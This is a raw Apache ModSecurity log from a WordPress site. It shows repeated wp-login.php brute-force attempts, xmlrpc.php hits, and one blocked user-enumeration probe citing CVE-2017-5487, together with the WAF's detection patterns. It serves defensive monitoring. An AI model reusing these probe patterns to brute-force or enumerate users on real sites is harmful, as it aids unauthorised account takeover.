[Wed Nov 12 19:10:02.988295 2025] [:error] [pid 60095:tid 60107] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRrCnlw2elroagFF1o3zQAAAEg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:10:07.080196 2025] [:error] [pid 60095:tid 60123] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRrD3lw2elroagFF1o30QAAAFg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:10:10.995328 2025] [:error] [pid 60095:tid 60118] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRrEnlw2elroagFF1o32AAAAFM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:10:14.735755 2025] [:error] [pid 60095:tid 60114] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRrFnlw2elroagFF1o32wAAAE8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:10:18.645635 2025] [:error] [pid 60095:tid 60123] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRrGnlw2elroagFF1o33gAAAFg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:10:22.765171 2025] [:error] [pid 60095:tid 60118] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRrHnlw2elroagFF1o35AAAAFM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:10:26.669996 2025] [:error] [pid 60095:tid 60114] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRrInlw2elroagFF1o36AAAAE8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:10:30.315399 2025] [:error] [pid 60095:tid 60123] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRrJnlw2elroagFF1o38AAAAFg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:10:33.847555 2025] [:error] [pid 60095:tid 60101] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRrKXlw2elroagFF1o39wAAAEI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:10:37.856494 2025] [:error] [pid 60095:tid 60121] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRrLXlw2elroagFF1o3-wAAAFY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:10:41.920326 2025] [:error] [pid 60095:tid 60108] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRrMXlw2elroagFF1o3_wAAAEk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:10:45.943795 2025] [:error] [pid 60095:tid 60123] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRrNXlw2elroagFF1o4BwAAAFg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:10:49.996419 2025] [:error] [pid 60095:tid 60100] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRrOXlw2elroagFF1o4DAAAAEE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:10:53.747007 2025] [:error] [pid 60095:tid 60106] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRrPXlw2elroagFF1o4EQAAAEc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:10:57.713739 2025] [:error] [pid 60095:tid 60123] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRrQXlw2elroagFF1o4FQAAAFg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:11:01.698639 2025] [:error] [pid 60095:tid 60108] [client 77.90.185.10:60308] [client 77.90.185.10] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 77.90.185.10, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRrRXlw2elroagFF1o4HwAAAEk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 19:15:02.890845 2025] [:error] [pid 60095:tid 60104] [client 37.140.223.248:27161] [client 37.140.223.248] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.248, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRsNnlw2elroagFF1o45AAAAEU"]
[Wed Nov 12 19:31:06.249690 2025] [:error] [pid 60095:tid 60107] [client 37.140.223.235:22323] [client 37.140.223.235] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.235, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRv-nlw2elroagFF1o72QAAAEg"]
[Wed Nov 12 19:47:10.851531 2025] [:error] [pid 60097:tid 60150] [client 37.140.223.238:23415] [client 37.140.223.238] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.238, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRRzvsdT5oio_TbWpi-HrwAAAMQ"]
[Wed Nov 12 20:03:33.428813 2025] [:error] [pid 12744:tid 12759] [client 37.140.223.215:62797] [client 37.140.223.215] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.215, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRR3lZ1cp_ouUvkFj0VsmQAAAQs"]
[Wed Nov 12 20:07:05.148984 2025] [:error] [pid 12744:tid 12758] [client 69.163.137.216:39384] [client 69.163.137.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.163.137.216, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRR4aZ1cp_ouUvkFj0VtPAAAAQo"]
[Wed Nov 12 20:07:10.145963 2025] [:error] [pid 12744:tid 12752] [client 69.163.137.216:39384] [client 69.163.137.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.163.137.216, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRR4bp1cp_ouUvkFj0VtRAAAAQQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 20:17:20.685217 2025] [:error] [pid 23737:tid 23764] [client 190.92.174.33:48172] [client 190.92.174.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 190.92.174.33, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRR60BQUsVVfOZWgW_W-5QAAAY8"]
[Wed Nov 12 20:19:35.220014 2025] [:error] [pid 12744:tid 12763] [client 172.245.102.84:45847] [client 172.245.102.84] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.84, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRR7V51cp_ouUvkFj0VwMAAAAQ8"]
[Wed Nov 12 20:35:33.478239 2025] [:error] [pid 60180:tid 60191] [client 37.140.223.224:30647] [client 37.140.223.224] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.224, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRR_FVhgd7ccS8EZg1pZpQAAAUk"]
[Wed Nov 12 20:50:47.772648 2025] [:error] [pid 12744:tid 12764] [client 136.144.33.232:27421] [client 136.144.33.232] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 136.144.33.232, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSCp51cp_ouUvkFj0V4qQAAARA"]
[Wed Nov 12 21:06:37.917775 2025] [:error] [pid 60096:tid 60131] [client 37.140.223.216:45103] [client 37.140.223.216] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.216, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSGXTmzkhCvvk8DXOy9rQAAAIU"]
[Wed Nov 12 21:22:27.585995 2025] [:error] [pid 60096:tid 60156] [client 37.140.223.229:35993] [client 37.140.223.229] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.229, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSKEzmzkhCvvk8DXOy_4wAAAJY"]
[Wed Nov 12 21:37:57.121252 2025] [:error] [pid 60097:tid 60154] [client 37.140.223.249:22727] [client 37.140.223.249] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.249, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSNtcdT5oio_TbWpi-d-gAAAMY"]
[Wed Nov 12 21:53:02.416684 2025] [:error] [pid 60096:tid 60132] [client 37.140.223.239:53477] [client 37.140.223.239] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.239, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSRPjmzkhCvvk8DXOzGCAAAAIY"]
[Wed Nov 12 22:08:41.501585 2025] [:error] [pid 60096:tid 60140] [client 172.245.102.88:41627] [client 172.245.102.88] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.245.102.88, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSU6TmzkhCvvk8DXOzIqAAAAI0"]
[Wed Nov 12 22:08:41.587474 2025] [:error] [pid 60180:tid 60188] [client 103.191.209.165:55580] [client 103.191.209.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.191.209.165, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRSU6Vhgd7ccS8EZg1ptGgAAAUY"]
[Wed Nov 12 22:23:59.011158 2025] [:error] [pid 23737:tid 23753] [client 37.140.223.220:36391] [client 37.140.223.220] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.220, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSYfxQUsVVfOZWgW_XnQQAAAYQ"]
[Wed Nov 12 22:25:28.528263 2025] [:error] [pid 23737:tid 23771] [client 217.174.244.33:48082] [client 217.174.244.33] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.174.244.33, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRSY2BQUsVVfOZWgW_XnrQAAAZY"]
[Wed Nov 12 22:39:17.347299 2025] [:error] [pid 60405:tid 60410] [client 37.140.223.246:20025] [client 37.140.223.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.140.223.246, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRScFXMGv_mlVi6mf5ouXQAAAAI"]
[Wed Nov 12 22:42:38.080511 2025] [:error] [pid 12744:tid 12753] [client 212.56.36.122:56550] [client 212.56.36.122] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 212.56.36.122, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRSc3p1cp_ouUvkFj0WUPAAAAQU"]
[Wed Nov 12 22:44:57.407341 2025] [:error] [pid 60095:tid 60120] [client 62.60.130.213:64859] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSdaXlw2elroagFF1pb3gAAAFU"], referer: https://duckduckgo.com/
[Wed Nov 12 22:45:22.511988 2025] [:error] [pid 60097:tid 60166] [client 62.60.130.213:50537] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "aRSdgsdT5oio_TbWpi-pywAAAM0"]
[Wed Nov 12 22:45:24.923294 2025] [:error] [pid 60097:tid 60164] [client 62.60.130.213:50537] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSdhMdT5oio_TbWpi-pzwAAAMs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:45:34.516291 2025] [:error] [pid 60405:tid 60416] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSdjnMGv_mlVi6mf5ovlQAAAAg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:45:37.908876 2025] [:error] [pid 60405:tid 60426] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSdkXMGv_mlVi6mf5ovmAAAABI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:45:41.741133 2025] [:error] [pid 60405:tid 60429] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSdlXMGv_mlVi6mf5ovnQAAABU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:45:46.874561 2025] [:error] [pid 60405:tid 60417] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSdmnMGv_mlVi6mf5ovpwAAAAk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:45:53.019768 2025] [:error] [pid 60405:tid 60408] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSdoXMGv_mlVi6mf5ovsQAAAAA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:45:56.321228 2025] [:error] [pid 60405:tid 60422] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSdpHMGv_mlVi6mf5ovtAAAAA4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:45:59.633901 2025] [:error] [pid 60405:tid 60430] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSdp3MGv_mlVi6mf5ovuAAAABY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:46:02.999627 2025] [:error] [pid 60405:tid 60424] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSdqnMGv_mlVi6mf5ovvgAAABA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:46:07.635993 2025] [:error] [pid 60405:tid 60421] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSdr3MGv_mlVi6mf5ovxQAAAA0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:46:12.243667 2025] [:error] [pid 60405:tid 60419] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSdtHMGv_mlVi6mf5ovzAAAAAs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:46:15.631791 2025] [:error] [pid 60405:tid 60418] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSdt3MGv_mlVi6mf5ov0QAAAAo"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:46:18.964789 2025] [:error] [pid 60405:tid 60421] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSdunMGv_mlVi6mf5ov1QAAAA0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:46:23.483325 2025] [:error] [pid 60405:tid 60411] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSdv3MGv_mlVi6mf5ov1wAAAAM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:46:26.821221 2025] [:error] [pid 60405:tid 60432] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSdwnMGv_mlVi6mf5ov2gAAABg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:46:31.588159 2025] [:error] [pid 60405:tid 60425] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSdx3MGv_mlVi6mf5ov3wAAABE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:46:36.790802 2025] [:error] [pid 60405:tid 60414] [client 62.60.130.213:61272] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSdzHMGv_mlVi6mf5ov5QAAAAY"], referer: https://rcacivilgroup.com/wp-login.php
